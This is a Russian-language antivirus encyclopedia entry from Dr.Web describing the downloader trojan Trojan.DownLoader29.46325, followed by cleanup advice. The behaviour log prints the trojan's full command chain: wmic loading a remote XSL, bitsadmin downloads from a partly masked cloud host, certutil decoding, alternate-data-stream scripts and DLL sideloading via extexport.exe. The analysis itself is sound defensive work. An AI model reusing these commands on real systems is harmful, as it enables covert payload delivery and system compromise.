Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Trojan.DownLoader29.46325
Добавлен в вирусную базу Dr.Web:
2019-07-18
Описание добавлено:
2019-07-22
Техническая информация
Вредоносные функции
Создает и запускает на исполнение
'<SYSTEM32>\wbem\wmic.exe' os get 2256677ll, giieet2, NumberOfLicensedUsers /format:"http://14#.##.###.35.bc.googleusercontent.com/04/v.xsl#025090ccmvvbbvv"
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64b.dll.z C:\Users\Public\Libraries\win32\halawxtz64b.dll
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23b.dll.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtz64b.dll.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64a.dll.z C:\Users\Public\Libraries\win32\halawxtz64a.dll
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23a.dll.zip.log?18####### C:\Users\Public\Libraries\win32\halawxtz64a.dll.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?26####### C:\Users\Public\Libraries\win32\halawxtzxb.~.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?24####### C:\Users\Public\Libraries\win32\halawxtzxa.~.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?40####### C:\Users\Public\Libraries\win32\halawxtzgx.gif.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?15####### C:\Users\Public\Libraries\win32\halawxtzg.gif.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?76####### C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?80####### C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?19####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z
'<SYSTEM32>\wbem\wmic.exe' os get ZHXUDUNF, HYZOXTZP, WYXNJFYC, numberofusers /format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#223352"
'%ProgramFiles(x86)%\internet explorer\extexport.exe' C:\Users\Public\Libraries\win32 764530954 651106702
'<SYSTEM32>\timeout.exe' 4000
Изменения в файловой системе
Создает следующие файлы
%TEMP%\sicxmvv.jpg:vvjje24.cmd
C:\users\public\libraries\win32\r1.log
C:\users\public\libraries\win32\halawxtzxb.~
C:\users\public\libraries\win32\bitded1.tmp
C:\users\public\libraries\win32\halawxtzxa.~
C:\users\public\libraries\win32\bitc6d3.tmp
C:\users\public\libraries\win32\halawxtzgx.gif
C:\users\public\libraries\win32\bita8fa.tmp
C:\users\public\libraries\win32\halawxtzg.gif
C:\users\public\libraries\win32\bit8208.tmp
C:\users\public\libraries\win32\halawxtzdx.gif
C:\users\public\libraries\win32\bit69fb.tmp
C:\users\public\libraries\win32\bitfa97.tmp
C:\users\public\libraries\win32\halawxtzdwwn.gif
C:\users\public\libraries\win32\halawxtzc.jpg
C:\users\public\libraries\win32\bit377f.tmp
C:\users\public\libraries\win32\halawxtzb.jpg
C:\users\public\libraries\win32\bit20ba.tmp
C:\users\public\libraries\win32\halawxtza.jpg
C:\users\public\libraries\win32\bitf63e.tmp
%TEMP%\sxsf071.tmp
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
%TEMP%\lgflpvnq.jpg:init.cmd
%TEMP%\sxse517.tmp
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
C:\users\public\libraries\win32\bit4f6d.tmp
C:\users\public\libraries\win32\halawxtz64a.dll
Присваивает атрибут 'скрытый' для следующих файлов
C:\users\public\libraries\win32\bitf63e.tmp
C:\users\public\libraries\win32\bit20ba.tmp
C:\users\public\libraries\win32\bit377f.tmp
C:\users\public\libraries\win32\bit4f6d.tmp
C:\users\public\libraries\win32\bit69fb.tmp
C:\users\public\libraries\win32\bit8208.tmp
C:\users\public\libraries\win32\bita8fa.tmp
C:\users\public\libraries\win32\bitc6d3.tmp
C:\users\public\libraries\win32\bitded1.tmp
C:\users\public\libraries\win32\bitfa97.tmp
Перемещает следующие файлы
C:\users\public\libraries\win32\bitf63e.tmp в C:\users\public\libraries\win32\halawxtza.jpg.z
C:\users\public\libraries\win32\bit20ba.tmp в C:\users\public\libraries\win32\halawxtzb.jpg.z
C:\users\public\libraries\win32\bit377f.tmp в C:\users\public\libraries\win32\halawxtzc.jpg.z
C:\users\public\libraries\win32\bit4f6d.tmp в C:\users\public\libraries\win32\halawxtzdwwn.gif.z
C:\users\public\libraries\win32\bit69fb.tmp в C:\users\public\libraries\win32\halawxtzdx.gif.z
C:\users\public\libraries\win32\bit8208.tmp в C:\users\public\libraries\win32\halawxtzg.gif.z
C:\users\public\libraries\win32\bita8fa.tmp в C:\users\public\libraries\win32\halawxtzgx.gif.z
C:\users\public\libraries\win32\bitc6d3.tmp в C:\users\public\libraries\win32\halawxtzxa.~.z
C:\users\public\libraries\win32\bitded1.tmp в C:\users\public\libraries\win32\halawxtzxb.~.z
C:\users\public\libraries\win32\bitfa97.tmp в C:\users\public\libraries\win32\halawxtz64a.dll.z
Сетевая активность
TCP
Запросы HTTP GET
http://14#.##.###.35.bc.googleusercontent.com/04/v.xsl
http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?31#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?19#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?80#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?76#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?15#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?40#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?24#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?26#######
http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23a.dll.zip.log?18#######
UDP
DNS ASK 14#.##.###.35.bc.googleusercontent.com
Другое
Создает и запускает на исполнение
'<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^ZHXUDUNF, ^HYZOXTZP, ^WYXNJFYC, ^numberofusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#223352" > %TMP%\LGFLPVNQ.jpg:init.cmd && %ComSpec% - < %...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > halawxtz64.dll' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > sqlite3.dll' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozsqlite3.dll' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozcrt19.dll' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64b.dll.z C:\Users\Public\Libraries\win32\halawxtz64b.dll' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23b.dll.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtz64b.dll.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64a.dll.z C:\Users\Public\Libraries\win32\halawxtz64a.dll' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23a.dll.zip.log?18####### C:\Users\Public\Libraries\win32\halawxtz64a.dll.z' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?26####### C:\Users\Public\Libraries\win32\halawxtzxb.~.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?24####### C:\Users\Public\Libraries\win32\halawxtzxa.~.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?40####### C:\Users\Public\Libraries\win32\halawxtzgx.gif.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?15####### C:\Users\Public\Libraries\win32\halawxtzg.gif.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?76####### C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?80####### C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?19####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (со скрытым окном)
'<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (со скрытым окном)
'%ProgramFiles(x86)%\internet explorer\extexport.exe' C:\Users\Public\Libraries\win32 764530954 651106702' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (со скрытым окном)
Запускает на исполнение
'<SYSTEM32>\cmd.exe' -
'<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^ZHXUDUNF, ^HYZOXTZP, ^WYXNJFYC, ^numberofusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#223352" > %TMP%\LGFLPVNQ.jpg:init.cmd && %ComSpec% - < %...
'<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozcrt19.dll
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozsqlite3.dll
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > sqlite3.dll
'<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > halawxtz64.dll
'<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
Рекомендации по лечению
Windows
macOS
Linux
Android
В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store .
Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light . Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
выключите устройство и включите его в обычном режиме.
Подробнее о Dr.Web для Android
Демо бесплатно на 14 дней
Выдаётся при установке
Поздравляем!
Обменяйте их на скидку до 50% на покупку Dr.Web.
Получить скидку
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK